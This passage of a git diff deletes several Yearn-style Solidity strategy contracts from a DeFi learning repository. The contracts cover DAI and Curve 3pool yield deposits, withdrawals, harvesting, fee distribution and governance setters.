-        proxy = _proxy;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeTransfer(proxy, _want);
-            IVoterProxy(proxy).deposit(gauge, want);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(crv != address(_asset), "crv");
-        require(dai != address(_asset), "dai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(FEE_DENOMINATOR);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        return IVoterProxy(proxy).withdraw(gauge, want, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        IVoterProxy(proxy).withdrawAll(gauge, want);
-    }
-
-    function harvest() public {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!keepers");
-        IVoterProxy(proxy).harvest(gauge);
-        uint256 _crv = IERC20(crv).balanceOf(address(this));
-        if (_crv > 0) {
-            uint256 _keepCRV = _crv.mul(keepCRV).div(FEE_DENOMINATOR);
-            IERC20(crv).safeTransfer(voter, _keepCRV);
-            _crv = _crv.sub(_keepCRV);
-
-            IERC20(crv).safeApprove(dex, 0);
-            IERC20(crv).safeApprove(dex, _crv);
-
-            address[] memory path = new address[](3);
-            path[0] = crv;
-            path[1] = weth;
-            path[2] = dai;
-
-            Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _dai = IERC20(dai).balanceOf(address(this));
-        if (_dai > 0) {
-            IERC20(dai).safeApprove(curve, 0);
-            IERC20(dai).safeApprove(curve, _dai);
-            ICurveFi(curve).add_liquidity([0, _dai, 0, 0], 0);
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(treasuryFee).div(FEE_DENOMINATOR);
-            uint256 _reward = _want.mul(strategistReward).div(FEE_DENOMINATOR);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            IERC20(want).safeTransfer(strategist, _reward);
-            deposit();
-        }
-        IVoterProxy(proxy).lock();
-        earned = earned.add(_want);
-        emit Harvested(_want, earned);
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return IVoterProxy(proxy).balanceOf(gauge);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAI3pool.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAI3pool.sol
deleted file mode 100644
index deb576e28..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAI3pool.sol
+++ /dev/null
@@ -1,334 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IController.sol";
-
-interface yvERC20 {
-    function deposit(uint256) external;
-
-    function withdraw(uint256) external;
-
-    function getPricePerFullShare() external view returns (uint256);
-}
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategyDAI3pool {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant _3pool = address(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
-    address public constant _3crv = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-    address public constant y3crv = address(0x9cA85572E6A3EbF24dEDd195623F188735A5179f);
-
-    address public constant ypool = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
-    address public constant ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
-    address public constant yycrv = address(0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c);
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
-    address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant yusdc = address(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
-    address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-    address public constant yusdt = address(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
-    address public constant tusd = address(0x0000000000085d4780B73119b644AE5ecd22b376);
-    address public constant ytusd = address(0x73a052500105205d34Daf004eAb301916DA8190f);
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public constant DENOMINATOR = 10000;
-    uint256 public treasuryFee = 500;
-    uint256 public withdrawalFee = 0;
-    uint256 public strategistReward = 50;
-    uint256 public threshold = 6000;
-    uint256 public slip = 100;
-    uint256 public tank = 0;
-    uint256 public p = 0;
-    bool public flag = true;
-
-    modifier isAuthorized() {
-        require(msg.sender == strategist || msg.sender == governance || msg.sender == controller || msg.sender == address(this), "!authorized");
-        _;
-    }
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyDAI3pool";
-    }
-
-    function unwindHelper() internal {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        IERC20(want).safeApprove(ypool, 0);
-        IERC20(want).safeApprove(ypool, _want);
-
-        _want = _want.div(3);
-        ICurveFi(ypool).exchange_underlying(0, 1, _want, 0);
-        ICurveFi(ypool).exchange_underlying(0, 2, _want, 0);
-
-        uint256 usdc_amt = IERC20(usdc).balanceOf(address(this));
-        IERC20(usdc).safeApprove(_3pool, 0);
-        IERC20(usdc).safeApprove(_3pool, usdc_amt);
-
-        uint256 usdt_amt = IERC20(usdt).balanceOf(address(this));
-        IERC20(usdt).safeApprove(_3pool, 0);
-        IERC20(usdt).safeApprove(_3pool, usdt_amt);
-
-        uint256 dai_amt = IERC20(dai).balanceOf(address(this));
-        IERC20(dai).safeApprove(_3pool, 0);
-        IERC20(dai).safeApprove(_3pool, dai_amt);
-
-        uint256 v = _want.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-        ICurveFi(_3pool).add_liquidity([dai_amt, usdc_amt, usdt_amt], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-    }
-
-    function deposit() public isAuthorized {
-        if (flag) {
-            unwindHelper();
-            flag = false;
-        }
-
-        rebalance();
-        uint256 _want = (IERC20(want).balanceOf(address(this))).sub(tank);
-        if (_want > 0) {
-            IERC20(want).safeApprove(_3pool, 0);
-            IERC20(want).safeApprove(_3pool, _want);
-            uint256 v = _want.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-            ICurveFi(_3pool).add_liquidity([_want, 0, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        if (_bal > 0) {
-            IERC20(_3crv).safeApprove(y3crv, 0);
-            IERC20(_3crv).safeApprove(y3crv, _bal);
-            yvERC20(y3crv).deposit(_bal);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(_3crv != address(_asset), "3crv");
-        require(y3crv != address(_asset), "y3crv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-
-        rebalance();
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-            tank = 0;
-        } else {
-            if (tank >= _amount) tank = tank.sub(_amount);
-            else tank = 0;
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        uint256 _fee = _amount.mul(withdrawalFee).div(DENOMINATOR);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _amnt = _amount.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-        uint256 _amt = _amnt.mul(1e18).div(yvERC20(y3crv).getPricePerFullShare());
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        return _withdrawOne(_after.sub(_before));
-    }
-
-    function _withdrawOne(uint256 _amnt) internal returns (uint256) {
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amnt);
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amnt, 0, _amnt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _y3crv = IERC20(y3crv).balanceOf(address(this));
-        if (_y3crv > 0) {
-            yvERC20(y3crv).withdraw(_y3crv);
-            _withdrawOne(IERC20(_3crv).balanceOf(address(this)));
-        }
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOf3CRV() public view returns (uint256) {
-        return IERC20(_3crv).balanceOf(address(this));
-    }
-
-    function balanceOf3CRVinWant() public view returns (uint256) {
-        return balanceOf3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOfy3CRV() public view returns (uint256) {
-        return IERC20(y3crv).balanceOf(address(this));
-    }
-
-    function balanceOfy3CRVin3CRV() public view returns (uint256) {
-        return balanceOfy3CRV().mul(yvERC20(y3crv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfy3CRVinWant() public view returns (uint256) {
-        return balanceOfy3CRVin3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfy3CRVinWant());
-    }
-
-    function migrate(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        require(IController(controller).approvedStrategies(want, _strategy), "!stategyAllowed");
-        IERC20(y3crv).safeTransfer(_strategy, IERC20(y3crv).balanceOf(address(this)));
-        IERC20(_3crv).safeTransfer(_strategy, IERC20(_3crv).balanceOf(address(this)));
-        IERC20(want).safeTransfer(_strategy, IERC20(want).balanceOf(address(this)));
-    }
-
-    function forceD(uint256 _amount) external isAuthorized {
-        IERC20(want).safeApprove(_3pool, 0);
-        IERC20(want).safeApprove(_3pool, _amount);
-        uint256 v = _amount.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-        ICurveFi(_3pool).add_liquidity([_amount, 0, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        if (_amount < tank) tank = tank.sub(_amount);
-        else tank = 0;
-
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(y3crv, 0);
-        IERC20(_3crv).safeApprove(y3crv, _bal);
-        yvERC20(y3crv).deposit(_bal);
-    }
-
-    function forceW(uint256 _amt) external isAuthorized {
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        _amt = _after.sub(_before);
-
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amt);
-        _before = IERC20(want).balanceOf(address(this));
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amt, 0, _amt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        _after = IERC20(want).balanceOf(address(this));
-        tank = tank.add(_after.sub(_before));
-    }
-
-    function drip() public isAuthorized {
-        uint256 _p = yvERC20(y3crv).getPricePerFullShare();
-        _p = _p.mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-        require(_p >= p, "backward");
-        uint256 _r = (_p.sub(p)).mul(balanceOfy3CRV()).div(1e18);
-        uint256 _s = _r.mul(strategistReward).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(strategist, _s.mul(1e18).div(_p));
-        uint256 _t = _r.mul(treasuryFee).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(IController(controller).rewards(), _t.mul(1e18).div(_p));
-        p = _p;
-    }
-
-    function tick() public view returns (uint256 _t, uint256 _c) {
-        _t = ICurveFi(_3pool).balances(0).mul(threshold).div(DENOMINATOR);
-        _c = balanceOfy3CRVinWant();
-    }
-
-    function rebalance() public isAuthorized {
-        drip();
-        (uint256 _t, uint256 _c) = tick();
-        if (_c > _t) {
-            _withdrawSome(_c.sub(_t));
-            tank = IERC20(want).balanceOf(address(this));
-        }
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!gs");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setThreshold(uint256 _threshold) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        threshold = _threshold;
-    }
-
-    function setSlip(uint256 _slip) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        slip = _slip;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAI3poolV2.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAI3poolV2.sol
deleted file mode 100644
index bdf5b7cde..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAI3poolV2.sol
+++ /dev/null
@@ -1,311 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/yearn/IController.sol";
-
-interface yvERC20 {
-    function deposit(uint256) external;
-
-    function withdraw(uint256) external;
-
-    function getPricePerFullShare() external view returns (uint256);
-
-    function earn() external;
-}
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategyDAI3poolV2 {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant _3pool = address(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
-    address public constant _3crv = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-    address public constant y3crv = address(0x9cA85572E6A3EbF24dEDd195623F188735A5179f);
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-
-    uint256 public constant DENOMINATOR = 10000;
-    uint256 public treasuryFee = 1000;
-    uint256 public withdrawalFee = 50;
-    uint256 public strategistReward = 1000;
-    uint256 public threshold = 6000;
-    uint256 public slip = 5;
-    uint256 public tank = 0;
-    uint256 public p = 0;
-    uint256 public maxAmount = 1e24;
-
-    modifier isAuthorized() {
-        require(msg.sender == strategist || msg.sender == governance || msg.sender == controller || msg.sender == address(this), "!authorized");
-        _;
-    }
-
-    constructor(address _controller) public {
-        governance = address(0xFEB4acf3df3cDEA7399794D0869ef76A6EfAff52);
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyDAI3pool";
-    }
-
-    function harvest() external {
-        require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance, "!ksg");
-        rebalance();
-        uint256 _want = (IERC20(want).balanceOf(address(this))).sub(tank);
-        if (_want > 0) {
-            if (_want > maxAmount) _want = maxAmount;
-            IERC20(want).safeApprove(_3pool, 0);
-            IERC20(want).safeApprove(_3pool, _want);
-            uint256 v = _want.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-            ICurveFi(_3pool).add_liquidity([_want, 0, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        if (_bal > 0) {
-            IERC20(_3crv).safeApprove(y3crv, 0);
-            IERC20(_3crv).safeApprove(y3crv, _bal);
-            yvERC20(y3crv).deposit(_bal);
-        }
-    }
-
-    function deposit() public {}
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(_3crv != address(_asset), "3crv");
-        require(y3crv != address(_asset), "y3crv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-
-        rebalance();
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-            tank = 0;
-        } else {
-            if (tank >= _amount) tank = tank.sub(_amount);
-            else tank = 0;
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        uint256 _fee = _amount.mul(withdrawalFee).div(DENOMINATOR);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _amnt = _amount.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-        uint256 _amt = _amnt.mul(1e18).div(yvERC20(y3crv).getPricePerFullShare());
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        return _withdrawOne(_after.sub(_before));
-    }
-
-    function _withdrawOne(uint256 _amnt) internal returns (uint256) {
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amnt);
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amnt, 0, _amnt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _y3crv = IERC20(y3crv).balanceOf(address(this));
-        if (_y3crv > 0) {
-            yvERC20(y3crv).withdraw(_y3crv);
-            _withdrawOne(IERC20(_3crv).balanceOf(address(this)));
-        }
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOf3CRV() public view returns (uint256) {
-        return IERC20(_3crv).balanceOf(address(this));
-    }
-
-    function balanceOf3CRVinWant() public view returns (uint256) {
-        return balanceOf3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOfy3CRV() public view returns (uint256) {
-        return IERC20(y3crv).balanceOf(address(this));
-    }
-
-    function balanceOfy3CRVin3CRV() public view returns (uint256) {
-        return balanceOfy3CRV().mul(yvERC20(y3crv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfy3CRVinWant() public view returns (uint256) {
-        return balanceOfy3CRVin3CRV().mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfy3CRVinWant());
-    }
-
-    function migrate(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        require(IController(controller).approvedStrategies(want, _strategy), "!stategyAllowed");
-        IERC20(y3crv).safeTransfer(_strategy, IERC20(y3crv).balanceOf(address(this)));
-        IERC20(_3crv).safeTransfer(_strategy, IERC20(_3crv).balanceOf(address(this)));
-        IERC20(want).safeTransfer(_strategy, IERC20(want).balanceOf(address(this)));
-    }
-
-    function forceD(uint256 _amount) external isAuthorized {
-        drip();
-        IERC20(want).safeApprove(_3pool, 0);
-        IERC20(want).safeApprove(_3pool, _amount);
-        uint256 v = _amount.mul(1e18).div(ICurveFi(_3pool).get_virtual_price());
-        ICurveFi(_3pool).add_liquidity([_amount, 0, 0], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        if (_amount < tank) tank = tank.sub(_amount);
-        else tank = 0;
-
-        uint256 _bal = IERC20(_3crv).balanceOf(address(this));
-        IERC20(_3crv).safeApprove(y3crv, 0);
-        IERC20(_3crv).safeApprove(y3crv, _bal);
-        yvERC20(y3crv).deposit(_bal);
-    }
-
-    function forceW(uint256 _amt) external isAuthorized {
-        drip();
-        uint256 _before = IERC20(_3crv).balanceOf(address(this));
-        yvERC20(y3crv).withdraw(_amt);
-        uint256 _after = IERC20(_3crv).balanceOf(address(this));
-        _amt = _after.sub(_before);
-
-        IERC20(_3crv).safeApprove(_3pool, 0);
-        IERC20(_3crv).safeApprove(_3pool, _amt);
-        _before = IERC20(want).balanceOf(address(this));
-        ICurveFi(_3pool).remove_liquidity_one_coin(_amt, 0, _amt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        _after = IERC20(want).balanceOf(address(this));
-        tank = tank.add(_after.sub(_before));
-    }
-
-    function drip() public isAuthorized {
-        uint256 _p = yvERC20(y3crv).getPricePerFullShare();
-        _p = _p.mul(ICurveFi(_3pool).get_virtual_price()).div(1e18);
-        require(_p >= p, "backward");
-        uint256 _r = (_p.sub(p)).mul(balanceOfy3CRV()).div(1e18);
-        uint256 _s = _r.mul(strategistReward).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(strategist, _s.mul(1e18).div(_p));
-        uint256 _t = _r.mul(treasuryFee).div(DENOMINATOR);
-        IERC20(y3crv).safeTransfer(IController(controller).rewards(), _t.mul(1e18).div(_p));
-        p = _p;
-    }
-
-    function tick() public view returns (uint256 _t, uint256 _c) {
-        _t = ICurveFi(_3pool).balances(0).mul(threshold).div(DENOMINATOR);
-        _c = balanceOfy3CRVinWant();
-    }
-
-    function rebalance() public isAuthorized {
-        drip();
-        (uint256 _t, uint256 _c) = tick();
-        if (_c > _t) {
-            _withdrawSome(_c.sub(_t));
-            tank = IERC20(want).balanceOf(address(this));
-        }
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance || msg.sender == strategist, "!gs");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == keeper || msg.sender == governance, "!sg");
-        keeper = _keeper;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setTreasuryFee(uint256 _treasuryFee) external {
-        require(msg.sender == governance, "!governance");
-        treasuryFee = _treasuryFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setThreshold(uint256 _threshold) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        threshold = _threshold;
-    }
-
-    function setSlip(uint256 _slip) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        slip = _slip;
-    }
-
-    function setMaxAmount(uint256 _maxAmount) external {
-        require(msg.sender == strategist || msg.sender == governance, "!sg");
-        maxAmount = _maxAmount;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAICurve.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAICurve.sol
deleted file mode 100644
index 20fe56393..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDAICurve.sol
+++ /dev/null
@@ -1,197 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/curve/Mintr.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/yearn/IToken.sol";
-
-contract StrategyDAICurve {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant y = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
-    address public constant ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
-    address public constant yycrv = address(0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c);
-    address public constant curve = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
-
-    address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant yusdc = address(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
-
-    address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-    address public constant yusdt = address(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
-
-    address public constant tusd = address(0x0000000000085d4780B73119b644AE5ecd22b376);
-    address public constant ytusd = address(0x73a052500105205d34Daf004eAb301916DA8190f);
-
-    address public governance;
-    address public controller;
-
-    constructor(address _controller) public {
